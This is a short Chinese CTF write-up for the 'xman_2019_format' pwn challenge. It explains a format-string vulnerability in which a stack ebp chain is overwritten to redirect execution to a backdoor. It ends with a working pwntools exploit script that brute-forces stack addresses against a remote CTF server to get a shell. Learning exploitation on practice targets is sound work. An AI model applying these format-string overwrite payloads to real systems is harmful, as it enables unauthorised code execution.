xman_2019_format:
看名字是格式化字符串
checksec一下
在printf处
程序分析:
有个后门
利用思路:
由于我们写入的数据存在堆里,我们无法改到我们写入的地址的值
但我们能利用栈上原有的地址,改值
这里具体就是改写ebp上的链指向栈上,我们改为为后门的地址
具体步骤:
先调试下,停在第一个printf处,看stack
如图所示,我们可以
1.我们把28(偏移10)处的0xffffd038的值(0xffffd068)改为0xffffd01c或0xffffd03c,只需改一个字节
2.在偏移48(偏移18)处的,改动现在已改为(0xffffd01c或0xffffd03c)的值为(0x804864b或0x8048697)后门函数的地址,只需改两个字节
由于这道题没法循环交互,我们没法靠泄露栈地址,知道栈的确切地址
只能靠爆破
多爆破几次,总有一次试对,就可能拿到shell了
exp:
from pwn import *
#from LibcSearcher import *
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
def debug(cmd=''):
gdb.attach(r,cmd)
#-------------------------------
def pwn():
backdoor=0x80485AB
payload='%'+str(0x3c)+'c%10$hhn|'
#payload='%'+str(0x1c)+'c%10$hhn|'
payload+='%'+str(backdoor&0xffff)+'c%18$hn|'
se(payload)
r.interactive()
if __name__ == "__main__":
i=0
while i<=70:
i+=1
r = remote('node4.buuoj.cn',25141)
#r=process('./xman_2019_format')
try:
pwn()
except:
r.close()
其他:
参考师傅:
https://www.cnblogs.com/LynneHuan/p/14535038.html#xman_2019_format
https://blog.csdn.net/seaaseesa/article/details/105861452
争取我能每天写一篇,坚持下去orz